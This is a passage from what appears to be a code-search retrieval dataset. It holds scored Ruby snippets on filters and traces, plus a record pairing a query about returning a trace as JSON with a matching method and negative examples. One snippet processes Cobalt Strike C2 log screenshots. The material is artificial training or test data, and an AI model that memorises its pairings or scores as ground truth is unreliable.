"def filter( *filterspec )\n\t\tif filterspec.empty?\n\t\t\topts = self.options\n\t\t\topts[:filter] = Treequel::Filter.new(opts[:filter]) unless\n\t\t\t\topts[:filter].is_a?( Treequel::Filter )\n\t\t\treturn opts[:filter]\n\t\telse\n\t\t\tself.log.debug \"cloning %p with filterspec: %p\" % [ self, filterspec ]\n\t\t\tnewfilter = Treequel::Filter.new( *filterspec )\n\t\t\treturn self.clone( :filter => self.filter + newfilter )\n\t\tend\n\tend",
"def initialize(filter_name, core, options = {})\n @name = filter_name\n @label = filter_name.to_s\n\t\t\t@core = core\n\t\t\t@options = options\n\t\t\t@filter_type = self.class.to_s.downcase\n\n # apply quick properties\n options.each_pair do |k, v|\n setter = \"#{k}=\"\n self.send(setter, v) if self.respond_to? setter\n end\n end",
"def initialize(name:)\n # Create a logger before any appenders\n # Avoids a situation where Filters::Normal levels are nil\n #\n # Logging::Filters::Level.new bug:\n # @filter has nil levels set on the first invocation\n @logger = Logging.logger[name]\n end",
"def filter_pipeline\n @filter_pipeline ||= HTML::Pipeline.new([TypogrubyFilter])\n end",
"def object_filter(filter)\n raise ArgumentError, \"object_filter expects an instance of SoftLayer::ObjectFilter\" if filter.nil? || !filter.kind_of?(SoftLayer::ObjectFilter)\n\n # we create a new object in case the user wants to store off the\n # filter chain and reuse it later\n APIParameterFilter.new(self.target, @parameters.merge({:object_filter => filter}));\n end",
"def initialize( *expression_parts )\n\t\tself.log.debug \"New filter for expression: %p\" % [ expression_parts ]\n\t\t@component = self.class.parse_expression( expression_parts )\n\t\tself.log.debug \" expression parsed into component: %p\" % [ @component ]\n\n\t\tsuper()\n\tend",
"def <<( other )\n\t\t\t@filters << other\n\t\t\treturn self\n\t\tend",
"def named_filter; end",
"def filter(*args, &block)\n @filter = block ? Filter.new(*args, &block) : args.first\n self\n end",
"def event_filter(&block)\n filter = EventFilter.new(block)\n @event_filters << filter\n filter\n end",
"def addFilter(filter_type, id)\n\t\tfilter = ReportFilter.new(filter_type,id)\n\t\[email protected](filter)\n\tend",
"def instance_filter(*args, &block)\n instance_filters << [args, block]\n end",
"def initialize trace_id, span_id, name, start_time, end_time,\n kind: SPAN_KIND_UNSPECIFIED,\n parent_span_id: \"\", attributes: {},\n dropped_attributes_count: 0, stack_trace: [],\n dropped_frames_count: 0, time_events: [],\n dropped_annotations_count: 0,\n dropped_message_events_count: 0, links: [],\n dropped_links_count: 0, status: nil,\n same_process_as_parent_span: nil,\n child_span_count: nil\n @name = name\n @kind = kind\n @trace_id = trace_id\n @span_id = span_id\n @parent_span_id = parent_span_id\n @start_time = start_time\n @end_time = end_time\n @attributes = attributes\n @dropped_attributes_count = dropped_attributes_count\n @stack_trace = stack_trace\n @dropped_frames_count = dropped_frames_count\n @stack_trace_hash_id = init_stack_trace_hash_id\n @time_events = time_events\n @dropped_annotations_count = dropped_annotations_count\n @dropped_message_events_count = dropped_message_events_count\n @links = links\n @dropped_links_count = dropped_links_count\n @status = status\n @same_process_as_parent_span = same_process_as_parent_span\n @child_span_count = child_span_count\n end",
"def filter(event)\n require 'time'\n host = event.get(\"[agent][name]\")\n logpath = event.get(\"[log][file][path]\")\n implant_id = event.get(\"[implant][id]\")\n timefromcs = event.get(\"[c2][timestamp]\") + \" UTC\"\n timestring = Time.parse(timefromcs).strftime(\"%I%M%S\")\n temppath = logpath.split('/cobaltstrike')\n temppath2 = temppath[1].split(/\\/([^\\/]*)$/)\n screenshoturl = \"/c2logs/\" + \"#{host}\" + \"/cobaltstrike\" + \"#{temppath2[0]}\" + \"/screenshots/screen_\" + \"#{timestring}\" + \"_\" + \"#{implant_id}\" + \".jpg\"\n thumburl = \"/c2logs/\" + \"#{host}\" + \"/cobaltstrike\" + \"#{temppath2[0]}\" + \"/screenshots/screen_\" + \"#{timestring}\" + \"_\" + \"#{implant_id}\" + \".jpg.thumb.jpg\"\n event.tag(\"_rubyparseok\")\n event.set(\"[screenshot][full]\", screenshoturl)\n event.set(\"[screenshot][thumb]\", thumburl)\n return [event]\nend",
"def backtrace_filter(&block)\n Agent.backtrace_filter(&block)\n end",
"def get_filtered_activities(filter, time)\n activities(time, filter)\n end",
"def initialize trace, id, parent_span_id, parent, name, kind,\n start_time, end_time, labels\n @trace = trace\n @span_id = id\n @parent_span_id = parent_span_id\n @parent = parent\n @children = []\n @name = name\n @kind = kind\n @start_time = start_time\n @end_time = end_time\n @labels = labels\n end",
"def filter(klass = nil, &block)\n @filterClass = klass\n @filterBlock = block\n end",
"def create\n @query_filter = QueryFilter.new(params[:query_filter])\n @query_filter.owner = @account\n \n respond_to do |format|\n if @query_filter.save\n flash[:notice] = 'Filter was successfully created.'\n format.html { redirect_to(account_path(@account)) }\n format.xml { render :xml => @query_filter, :status => :created, :location => [@account, @query_filter] }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @query_filter.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def filter(backtrace); end",
"def filter(backtrace); end",
"def filter(filters=nil, options={})\n Filter.new(filters, options, self).nodes()\n end",
"def filters\n @filters ||= FiltersProvider.new\n end",
"def event_filter query\n filter = { _t: {} }.tap do |filter|\n if query.has_key? :after\n filter[:_t][:gt] = to_timestamp query.delete(:after)\n query.delete(:from)\n elsif query.has_key? :from\n filter[:_t][:gte] = to_timestamp query.delete(:from)\n end\n\n if query.has_key? :before\n filter[:_t][:lt] = to_timestamp query.delete(:before)\n query.delete(:upto)\n elsif query.has_key? :upto\n filter[:_t][:lte] = to_timestamp query.delete(:upto)\n end\n # sel['_id'] = Regexp.new(query.delete(:id)) if query[:id]\n query.each_pair{ |key, val| filter[:_d] ||= {} ; filter[:_d][key] = val }\n end\n end",
"def filter\n Options.new(yield self)\n end",
"def filters\n end",
"def Filter=(arg0)",
"def filter(event)\n\n #Category\n category = event.get(\"category\")\n if category.nil?\n category = \"\"\n end\n\n new_category = fn_make_cate_all(category, 0) \n event.set(\"category\", new_category)\n\n service_gubun = event.get(\"service_gubun\")\n\n new_cat1 = fn_make_cate_all(category, 2) \n event.set(\"cat1\", new_cat1)\n \n new_cat2 = fn_make_cate_all(category, 4) \n event.set(\"cat2\", new_cat2)\n \n new_cat3 = fn_make_cate_all(category, 6) \n event.set(\"cat3\", new_cat3)\n \n new_cat4 = fn_make_cate_all(category, 8) \n event.set(\"cat4\", new_cat4)\n\n new_cg = \"\"\n if service_gubun == \"1\"\n new_cg = new_cat2 \n else\n new_cg = new_cat1 \n end \n event.set(\"cg\", new_cg)\n\n #Model Factory\n #deplecated : ES에서 Model-Factory 전용 Tokenizer 사용\n=begin\n if service_gubun == \"1\"\n modelnm = event.get(\"modelnm\")\n factory = event.get(\"factory\")\n if modelnm.nil?\n modelnm = \"\"\n end\n if factory.nil?\n factory = \"\"\n end\n\n model_factory = factory_all(modelnm+\" \"+factory)\n event.set(\"model_factory\", model_factory)\n end\n=end\n \n return [event]\n\nend",
"def add_filters(filters); end",
"def set_trace\n @trace = Trace.find(params[:id])\n end"
] | [
"0.6354261",
"0.5675816",
"0.56490976",
"0.56144345",
"0.5571073",
"0.55227375",
"0.55160254",
"0.54694855",
"0.5440443",
"0.5430974",
"0.54215443",
"0.539581",
"0.539581",
"0.539581",
"0.539581",
"0.539581",
"0.5391642",
"0.53829247",
"0.5377108",
"0.5353095",
"0.53215367",
"0.5292615",
"0.52923614",
"0.5263993",
"0.5253957",
"0.5236085",
"0.52117354",
"0.5209625",
"0.51943505",
"0.5192972",
"0.5183423",
"0.51722175",
"0.5160029",
"0.51373756",
"0.5123239",
"0.5106156",
"0.5106156",
"0.5106156",
"0.5103001",
"0.5090385",
"0.50814027",
"0.5074686",
"0.5064923",
"0.50546736",
"0.5053112",
"0.50462943",
"0.50272524",
"0.5024075",
"0.50116664",
"0.4996928",
"0.49911445",
"0.49884045",
"0.4986913",
"0.4986913",
"0.497944",
"0.49721318",
"0.4967684",
"0.49541524",
"0.49472138",
"0.4946458",
"0.49430865",
"0.49311587",
"0.4930202",
"0.49287727",
"0.49116775",
"0.4908564",
"0.4908564",
"0.49058068",
"0.48853132",
"0.4882808",
"0.4873433",
"0.48649976",
"0.48505867",
"0.4847206",
"0.48453113",
"0.48432907",
"0.4842901",
"0.48395684",
"0.4832074",
"0.4829075",
"0.48249662",
"0.48196915",
"0.48181784",
"0.4802681",
"0.47978216",
"0.4791605",
"0.47911352",
"0.47894022",
"0.47873554",
"0.4782741",
"0.4782741",
"0.47811574",
"0.47806904",
"0.47778127",
"0.47674143",
"0.47666815",
"0.47532064",
"0.47368273",
"0.4736033",
"0.47291893"
] | 0.49404043 | 61 |
getter method to return the new trace as JSON string | def return_json_string
@traces_json_string
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def to_json(*_args)\n @trace.to_json\n end",
"def to_s\n @trace.to_s\n end",
"def to_hash\n @trace\n end",
"def json()\n @trace_arr.map{|trace| \n tile = trace.json \n @tiles[trace.id] = trace\n trace.id\n }\n end",
"def trace\n attributes.fetch(:trace)\n end",
"def to_s\n to_json\n end",
"def to_s\n self.to_json\n end",
"def to_json\n @front_end.get_json_string\n end",
"def to_s\n \"#{self.class.name} #{@json_dict}\"\n end",
"def to_string\n str = trace_id\n str += \"/#{span_id}\" if span_id\n unless sampled?.nil?\n options = 0\n options |= 1 if sampled?\n options |= 2 if capture_stack?\n str += \";o=#{options}\"\n end\n str\n end",
"def json\n\n JSON.fast_generate(@gltf)\n\n end",
"def to_json_raw_object()\n #This is a stub, used for indexing\n end",
"def to_s\n to_json.to_s\n end",
"def to_json_string\n MARC::JSONLWriter.encode(self)\n end",
"def build_trace\n Backtrace.to_s(backtrace)\n end",
"def to_s\n JSON.dump(to_h)\n end",
"def to_s\n to_json_element\n end",
"def json_serialize\n end",
"def inspect\n JSON.pretty_generate to_h\n end",
"def to_s\n JSON.pretty_generate(raw)\n end",
"def to_s\n return @data.to_json\n end",
"def to_s\n JSON.pretty_generate(@json)\n end",
"def debug_out()\n return JSON.pretty_generate(self).gsub(\"\\\": \", \"\\\" => \").gsub(\" => null\", \" => nil\")\n end",
"def show\n render json: @trace\n end",
"def inspect\n \"#<#{self.class}:0x#{object_id.to_s(16)}> JSON: \" +\n JSON.pretty_generate(@data)\n end",
"def inspect\n\t\t\told_to_s\n\t\tend",
"def pretty_generate\n JSON.pretty_generate( self.to_h )\n end",
"def to_s # :nocov:\n s = []\n s << \"#{self.class}:#{self.object_id}\"\n s << \" id: #{self.id}\"\n s << \" type: #{self.type}\"\n s << \" headers: \" + Debug.pretty_hash(self.headers)\n s << \" body: \" + Debug.pretty_hash(MultiJson.load(self.body))\n s.join(\"\\n\")\n end",
"def to_json\n to_s.to_json\n end",
"def toJsonString(prettyP = false)\n case(prettyP)\n when(true) ;\n return JSON.pretty_generate(toJson()) ;\n when(:line) ;\n _strList = @entryList.map{|entry| JSON.generate(entry.toJson())} ;\n return \"[\\n #{_strList.join(\",\\n \")}\\n]\" ;\n else\n return JSON.generate(toJson()) ;\n end\n end",
"def json\n delta_pack.to_json\n end",
"def tojson\n\t\tend",
"def serialize\n JSON.generate(to_h)\n end",
"def to_nice_json\n JSON.pretty_generate to_hash\n end",
"def to_nice_json\n JSON.pretty_generate to_hash\n end",
"def to_json\n\t\tto_h.to_json\n\tend",
"def to_json\n\t\tto_h.to_json\n\tend",
"def stringify\n json_hash = {}\n\n begin\n json_hash = Serializer.serialize(self, class: self.class.name)\n rescue JSON::JSONError => e\n warn \"#{__FILE__}.#{__LINE__}: #{e.message}\"\n end\n\n json_hash.to_json\n end",
"def to_json\n\t\t\tself.instance_variable_hash\n\t\tend",
"def to_s # :nocov:\n s = []\n s << \"JsonResponse:#{self.object_id}\"\n s << \" status: #{self.status}\"\n s << \" code: #{self.code}\"\n s << \" message: #{self.message}\"\n s << \" data: \" + MultiJson.dump(self.data)\n s.join(\"\\n\")\n end",
"def to_json\n\t\t\"[#{type}, #{time}, #{x}, #{y}]\"\n\tend",
"def as_json(*_args)\n to_s\n end",
"def to_json\n raise StandardError, \"Not implemented!\"\n end",
"def to_s\n Clever::JSON.dump @values, pretty: true\n end",
"def serialize trace_context\n [\n 0, # version\n 0, # field 0\n trace_context.trace_id,\n 1, # field 1\n trace_context.span_id,\n 2, # field 2\n trace_context.trace_options\n ].pack(BINARY_FORMAT)\n end",
"def to_s\n self.to_array.map{ |hsh| JSON.pretty_generate(hsh) }.join(\"\\n\")\n end",
"def pretty_json\n JSON.pretty_generate(delta_pack)\n end",
"def to_json(_context = nil)\n to_h.to_json\n end",
"def to_json_raw(*args)\n #This is a stub, used for indexing\n end",
"def to_json\n @json ||= get_json\n end",
"def to_json(*)\n #This is a stub, used for indexing\n end",
"def string\n JSON.fast_generate(@workflow)\n end",
"def serialize\n self.to_hash.to_json\n end",
"def inspect()\n serialize.to_s()\n end",
"def inspect()\n serialize.to_s()\n end",
"def as_json(*)\n result = attributes.as_json.with_indifferent_access\n result[:'voice_out_trunk.id'] = result.delete(:voice_out_trunk_id) if result.key?(:voice_out_trunk_id)\n result\n end",
"def to_json\n to_raw.to_json\n end",
"def json\n \"#{self.to_s}&json=true\"\n end",
"def as_json\n record\n end",
"def as_json\n to_s.as_json\n end",
"def inspect\n serialize.to_s\n end",
"def inspect\n id_string = (respond_to?(:id) && !id.nil?) ? \" id=#{id}\" : ''\n \"#<#{self.class}:0x#{object_id.to_s(16)}#{id_string}> JSON: \" +\n Clever::JSON.dump(@values, pretty: true)\n end",
"def serialize\n Serializer.serialize(PATH, @history)\n end",
"def to_json\n return self.to_hash.to_json\n end",
"def to_json\n io = StringIO.new << \"{\"\n\n io << JSON.create_id.to_json << \":\" << self.class.name.to_json << \",\"\n\n @data.each {|key, value|\n io << key.to_json.to_s << \":\" << value.to_json << \",\"\n }\n\n io.seek(-1, IO::SEEK_CUR)\n io << \"}\"\n\n io.string\n end",
"def to_json\n JSON.pretty_generate(to_h)\n end",
"def to_s()\n hash = {}\n self.instance_variables.each do |var|\n hash[var] = self.instance_variable_get var\n end\n hash.to_json\n end",
"def to_json\n JSON.pretty_generate(to_hash)\n end",
"def to_str\n body={\n id: @id,\n event: @event,\n data: @data,\n }\n if errors.any?\n body[:errors_count][email protected]\n body[:errors]=@errors\n end\n body.to_json\n end",
"def as_json(_options = nil)\n to_s\n end",
"def to_json\n self.to_h.to_json\n end",
"def toJson()\n return ({\"basename\" => @basename,\n \"config\" => @config,\n \"demandStat\" => @demandStat,\n }) ;\n end",
"def create_new_traces\n @traces.each do |trace|\n trace_stack = trace.stack_to_render[0]\n unless(trace_stack.func_name.include? '<init>')\n trace_stack_ordered_variable_names = trace_stack.ordered_varnames\n trace_stack_encoded_locals = trace_stack.encoded_locals\n trace_heap = trace.heap\n trace_code = @code[trace.line]\n filtered_trace = filter_trace([\n trace_stack_ordered_variable_names,\n trace_stack_encoded_locals,\n trace_heap,\n trace_code,\n trace.line\n ])\n @new_traces << filtered_trace\n trace_string = Yajl::Encoder.encode(filtered_trace)\n @traces_json_array << trace_string\n @traces_json_string += trace_string + ','\n end\n end\n end",
"def to_json\n\n end",
"def to_json\n #JSON.fast_generate(to_hash)\n JSON.pretty_generate(to_hash)\n end",
"def to_json\n #JSON.fast_generate(to_hash)\n JSON.pretty_generate(to_hash)\n end",
"def json\n @@id += 1\n @condition = get_condition(@prefix)\n condition_name = @condition.refer_name if @condition\n \"{\\\"type\\\": \\\"#{@type_name}\\\",\" +\n \" \\\"name\\\": \\\"#{@name}\\\",\" +\n \" \\\"offset\\\": \\\"#{@offset}\\\",\" +\n \" \\\"length\\\": \\\"#{@length}\\\",\" +\n \" \\\"prefix\\\": \\\"#{@prefix}\\\",\" +\n \" \\\"refer_name\\\": \\\"#{@refer_name}\\\",\" +\n \" \\\"condition_name\\\": \\\"#{condition_name}\\\",\" +\n \" \\\"id\\\": \\\"p#{@@id}\\\", \" +\n \" \\\"value\\\": #{@element.json}\" +\n \"}\"\n end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def to_s\n self.inspect\n end",
"def inspect\n to_s\n end",
"def inspect\n serialize.to_s\n end",
"def inspect\n serialize.to_s\n end",
"def inspect\n serialize.to_s\n end",
"def to_json\n Formatter::JSON.render(self)\n end",
"def json\n @@id += 1\n \"{\" +\n \"\\\"type\\\": \\\"#{@type}\\\", \\\"id\\\": \\\"A#{@@id}\\\", \\\"value\\\": \\\"#{@value}\\\", \" +\n \"\\\"offset\\\": #{@offset}, \\\"length\\\": #{@length}\" +\n \"}\"\n end",
"def as_json(*)\n {\n FunJSON.create_id => self.class.name,\n 'b' => _dump,\n }\n end",
"def to_json\n self.to_hash.to_json\n end",
"def to_json\n to_h.to_json\n end",
"def to_json\n to_h.to_json\n end",
"def toJson\n\t\tjson = \" {\\n\"\n\t\tself.instance_variables.each_with_index do |i,index|\n\t\t\tjson += \" \\\"#{i[1..-1]}\\\": \\\"#{self.instance_variable_get(i)}\\\"\"\n\t\t\tif index != self.instance_variables.size - 1\n\t\t\t\tjson += \",\\n\"\n\t\t\telse\n\t\t\t\tjson += \"\\n\"\n\t\t\tend\n\t\tend\n\t\tjson += \" }\"\n\tend",
"def toJson\n\t\tjson = \" {\\n\"\n\t\tself.instance_variables.each_with_index do |i,index|\n\t\t\tjson += \" \\\"#{i[1..-1]}\\\": \\\"#{self.instance_variable_get(i)}\\\"\"\n\t\t\tif index != self.instance_variables.size - 1\n\t\t\t\tjson += \",\\n\"\n\t\t\telse\n\t\t\t\tjson += \"\\n\"\n\t\t\tend\n\t\tend\n\t\tjson += \" }\"\n\tend",
"def to_json\n to_json_object.to_json\n end",
"def to_json\r\n to_hash.to_json\r\n end",
"def to_json\n return Json.dump(to_hash)\n end",
"def to_json()\n return @renderHash.to_json\n end",
"def to_json(*)\n\t\t\t# to_json needs to not care about arguments with the C extension\n\t\t\t# version of the JSON gem.\n\t\t\t# See json-1.5.1/ext/json/ext/generator/generator.c:902\n\t\t\tto_hash.to_json\n\t\tend"
] | [
"0.77254003",
"0.7145027",
"0.6813827",
"0.6757803",
"0.66630393",
"0.6413217",
"0.63729984",
"0.6330249",
"0.6316424",
"0.63129944",
"0.6271973",
"0.62525904",
"0.6241202",
"0.6188315",
"0.61733526",
"0.6162095",
"0.6154478",
"0.6142723",
"0.61175704",
"0.6100477",
"0.6090325",
"0.6086501",
"0.6052527",
"0.60497975",
"0.603859",
"0.6029947",
"0.60042566",
"0.6001796",
"0.59893763",
"0.5976264",
"0.59723246",
"0.5971083",
"0.59673536",
"0.5966046",
"0.5966046",
"0.5959637",
"0.5959637",
"0.5958668",
"0.5958515",
"0.5955936",
"0.59534615",
"0.5952212",
"0.5942325",
"0.5939773",
"0.5920661",
"0.5905965",
"0.59021497",
"0.5893053",
"0.5883177",
"0.58718604",
"0.58705103",
"0.58609825",
"0.58585316",
"0.58556885",
"0.58556885",
"0.58537585",
"0.58394206",
"0.5835392",
"0.5828179",
"0.58251333",
"0.58243954",
"0.58209985",
"0.58200866",
"0.5818658",
"0.5818041",
"0.58034277",
"0.58030164",
"0.5800779",
"0.5795274",
"0.57935",
"0.5785479",
"0.5771504",
"0.5771026",
"0.5769197",
"0.5764032",
"0.5764032",
"0.5751728",
"0.5751168",
"0.5751168",
"0.5751168",
"0.5751168",
"0.5751168",
"0.5743237",
"0.5741304",
"0.5738927",
"0.5738927",
"0.5738927",
"0.5736733",
"0.57226825",
"0.57157147",
"0.5710297",
"0.5704604",
"0.5704604",
"0.57035387",
"0.57035387",
"0.5691964",
"0.56906736",
"0.56851435",
"0.5683346",
"0.5678514"
] | 0.82976204 | 0 |
Generates the full execution trace for the complete source code by executing the command related to Java_Jail | def generate_backend_trace(junit_test_file,
files_path,
peruser_files_path,
student_file_name)
raw_code = junit_test_file
raw_code.gsub! "\n", "\\n" + "\n"
raw_code.gsub! "\t", "\\t"
lines = raw_code.split("\n")
jUnit_test = ''
lines.each { |line| jUnit_test += line}
jUnit_test.gsub!('\"', "\\" + '\"')
student_file = File.open(File.join(File.dirname(File.expand_path(__FILE__)),
peruser_files_path,
student_file_name), 'w+')
full_string = '{' + "\n" + '"' + 'usercode' + '"' + ':' + '"' + jUnit_test +
'"' + ',' + "\n" + '"' + 'options' + '"' + ':' + '{' + '}' \
',' + "\n" + '"' + 'args' + '"' + ':' + '[' + ']' + ',' \
"\n" + '"' + 'stdin' + '"' + ':' + '"' + '"' + "\n" + '}'
student_file.puts(full_string)
student_file.close
output = `java -cp .:cp:cp/javax.json-1.0.4.jar:java/tools.jar traceprinter.InMemory < cp/traceprinter/output.txt` # the shell command
output
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def dump_caller_stack\n return unless $ITEST2_TRACE_EXECUTION\n begin\n caller.each_with_index do |position, idx|\n next unless position =~ /\\A(.*?):(\\d+)/\n file = $1\n # TODO: send multiple trace to be parse with pages.rb\n # next if file =~ /example\\/example_methods\\.rb$/ or file =~ /example\\/example_group_methods\\.rb$/ or file =~ /driver\\.rb$/ or file =~ /timeout\\.rb$/ # don't include rspec or ruby trace\n\n if file.include?(\"_spec.rb\") || file.include?(\"_test.rb\") || file.include?(\"_cmd.rb\")\n connect_to_itest(\" TRACE\", position)\n end\n\n break if idx > 4 or file =~ /\"_spec\\.rb$/\n end\n rescue => e\n puts \"failed to capture log: #{e}\"\n end\n end",
"def inspect_jobs(index = nil)\n return empty_msg if empty?\n desc = []\n puts \"\\n\"\n @jobs.each_with_index do |j, i|\n unless index.nil?\n next unless i == index\n end\n desc << '| Job: ' + \"#{i + 1} \".rjust(8) + '|' + 'Pattern:'.rjust(18) + \" #{j.pattern.basename}\".ljust(120) + '|'\n desc << '| |' + 'Compiler ID:'.rjust(18) + \" #{j.id} \".ljust(120) + '|'\n desc << '| |' + 'Pinmap:'.rjust(18) + \" #{j.pinmap_workbook} \".ljust(120) + '|'\n desc << '| |' + '.atp directory:'.rjust(18) + \" #{j.pattern.dirname} \".ljust(120) + '|'\n desc << '| |' + '.pat directory:'.rjust(18) + \" #{j.output_directory} \".ljust(120) + '|'\n desc << '| |' + 'LSF:'.rjust(18) + \" #{j.location == :lsf ? true : false} \".ljust(120) + '|'\n desc << '| |' + 'Delete log files:'.rjust(18) + \" #{j.clean} \".ljust(120) + '|'\n desc << '| |' + 'Verbose:'.rjust(18) + \" #{j.verbose} \".ljust(120) + '|'\n fragment = '| |' + 'Compiler args:'.rjust(18)\n overflow_fragment = '| |' + ' '.rjust(18)\n compiler_args = []\n compiler_fragment = ''\n j.compiler_options.each_key do |k|\n if compiler_fragment.size + \" -#{k}\".size >= 120\n compiler_args << compiler_fragment\n compiler_fragment = nil\n end\n compiler_fragment += \" -#{k}\"\n end\n compiler_args << compiler_fragment unless compiler_fragment.nil?\n compiler_fragment = ''\n j.compiler_options_with_args.each_pair do |k, v|\n if compiler_fragment.size + \" -#{k}:#{v}\".size >= 120\n compiler_args << compiler_fragment\n compiler_fragment = nil\n end\n compiler_fragment += \" -#{k}:#{v}\"\n end\n compiler_args << compiler_fragment unless compiler_fragment.nil?\n if compiler_args.join.length <= 120\n desc << fragment + \"#{compiler_args.join}\".ljust(120) + '|'\n else\n # Need to cycle through compiler args and build a fragment <= 100 characters\n # and print it. Keep going until the remaining args is <= 100 and print again\n char_cnt = 0\n line_cnt = 0\n args = []\n compiler_args = compiler_args.join.strip.split(/\\s+/)\n until compiler_args.empty?\n args = compiler_args.select { |e| (char_cnt += e.length + 1) < 120 }\n # remove the args that fit on the first line\n compiler_args -= args\n if line_cnt == 0\n desc << fragment + \" #{args.join(' ')}\".ljust(120) + '|'\n else\n desc << overflow_fragment + \" #{args.join(' ')}\".ljust(120) + '|'\n end\n args = []\n line_cnt += 1\n char_cnt = 0\n end\n end\n desc << '-' * desc.first.size\n end\n puts desc.flatten.join(\"\\n\")\n end",
"def build_trace\n if with_bt_set?\n Backtrace.to_s(@with_bt + [first_filtered_bt_line(backtrace)])\n else\n src_line\n end\n end",
"def caller\n %x{\n function getErrorObject(){\n try { throw Error('') } catch(err) { return err; }\n }\n\n\n var err = getErrorObject();\n }\n stack = `err.stack`\n caller_lines = stack.split(\"\\n\")[4..-1]\n caller_lines.reject! { |l| l.strip.empty? }\n\n result_formatter = lambda do |filename, line, method=nil|\n \"#{filename}:#{line} in `(#{method ? method : 'unknown method'})'\"\n end\n\n caller_lines.map do |raw_line|\n if match = /\\s*at (.*) \\((\\S+):(\\d+):\\d+/.match(raw_line)\n method, filename, line = match.captures\n result_formatter[filename, line, method]\n elsif match = /\\s*at (\\S+):(\\d+):\\d+/.match(raw_line)\n filename, line = match.captures\n result_formatter[filename, line]\n # catch phantom/no 2nd line/col #\n elsif match = /\\s*at (.*) \\((\\S+):(\\d+)/.match(raw_line)\n method, filename, line = match.captures\n result_formatter[filename, line, method]\n elsif match = /\\s*at (.*):(\\d+)/.match(raw_line)\n filename, line = match.captures\n result_formatter[filename, line]\n # Firefox - Opal.modules[\"rspec/core/metadata\"]/</</</</def.$populate@http://192.168.59.103:9292/assets/rspec/core/metadata.self.js?body=1:102:13\n elsif match = /(.*?)@(\\S+):(\\d+):\\d+/.match(raw_line)\n method, filename, line = match.captures\n result_formatter[filename, line, method]\n # webkit - http://192.168.59.103:9292/assets/opal/rspec/sprockets_runner.js:45117:314\n elsif match = /(\\S+):(\\d+):\\d+/.match(raw_line)\n filename, line = match.captures\n result_formatter[filename, line]\n else\n \"#{filename}:-1 in `(can't parse this stack trace)`\"\n end\n end\n end",
"def dump_compiled code\n\t\t\tbuf = do_compile code,false\n\t\t\tprint buf,\"\\n\"\n\t\tend",
"def stack_trace; end",
"def execute\n\n logger = Logger.new(\"/dev/null\")\n logger.level = Logger::WARN\n log_adapter = JerichoLoggerAdapter.new(logger)\n\n perl_pages = File.join(top_git_directory, 'java/code/**/*.{jsp,jspf}')\n java_pages = File.join(top_git_directory, 'web//**/*.{pxt, pxi}')\n [perl_pages, java_pages].each do |pages|\n Dir.glob(pages).each do |path|\n content = File.read(path)\n on_file_start(content, path)\n source = Source.new(content)\n source.setLogger(log_adapter)\n out = OutputDocument.new(source)\n\n tags = source.getAllStartTags\n tags.each do |tag|\n if applicable?(tag)\n process_tag(source, out, tag, path)\n end\n end\n\n on_file_changed(content, out.toString, path)\n on_file_done(path)\n end\n end\n\n Dir.glob(File.join(top_git_directory, 'java/code/**/*.{java}')).each do |path|\n content = File.read(path)\n on_file_start(content, path)\n on_file_done(path)\n end\n\n Dir.glob(File.join(top_git_directory, 'web/**/*.{pm}')).each do |path|\n content = File.read(path)\n on_file_start(content, path)\n on_file_done(path)\n end\n\n on_done\n end",
"def trace(args)\n if solve(args)\n path_stack, current_cell = [], @seen_stack.last\n path_stack.push(current_cell)\n until @seen_stack.empty?\n current_cell = find_steps(current_cell, path_stack)\n end\n path_stack.reverse.each { |cell| print \"-->#{cell} \" }\n puts \"\"\n path_stack\n else nil\n end\n end",
"def main_method(file_path, student_full_code)\n my_test = seperate_and_filter_trace(student_full_code, file_path,\n 'cp/traceprinter/', 'output.txt')\n Dir.chdir('/home')\n #puts my_test\n my_test\nend",
"def run_ktrace(jobid)\n\n initialize_db = lambda {|dbconn, required_tables|\n init = false\n db_init_script = File.join($script_path, 'ktrace_schema.sql')\n required_tables.each do |t|\n res = dbconn.exec(\"SELECT to_regclass('public.#{t}');\")\n if res.values[0][0].nil?\n init = true\n break\n end\n end\n if init\n stage \"[7] Initializing KTrace DB\"\n dbconn.exec(File.read(db_init_script))\n end\n }\n\n ingest_file = lambda {|dbconn, table_name, file_path|\n dbconn.copy_data \"COPY #{table_name} FROM STDIN delimiter '|' quote '`' csv\" do\n str = File.read(file_path)\n str.each_line do |line|\n dbconn.put_copy_data jobid + \"|\" + line\n end\n end\n }\n\n stage \"[7] Populating KTrace DB\"\n job_sandbox_path = File.join($workdir, \"job_#{jobid}\")\n\n if Dir.exists?(job_sandbox_path)\n globals_path = File.join(job_sandbox_path, \"globals.dsv\")\n messages_path = File.join(job_sandbox_path, \"messages.dsv\")\n peer_role_path = File.join(job_sandbox_path, \"peers.dsv\")\n\n if [globals_path, messages_path, peer_role_path].all? {|f| File.file?(f) }\n stage \"[7] Found trace data, now copying.\"\n conn = PG.connect()\n initialize_db.call(conn, ['Globals', 'Messages', 'Peers'])\n\n ingest_file.call(conn, \"Globals\", globals_path)\n stage \"[7] Copied globals trace data.\"\n\n ingest_file.call(conn, \"Messages\", messages_path)\n stage \"[7] Copied messages trace data.\"\n\n ingest_file.call(conn, \"Peers\", peer_role_path)\n stage \"[7] Copied peer role data.\"\n\n # TODO: automatic querying and verification of job logs.\n else\n stage \"[7] ERROR: No ktrace data found for job #{jobid}\"\n end\n end\n\nend",
"def trace\n `#{@native}.trace()`\n end",
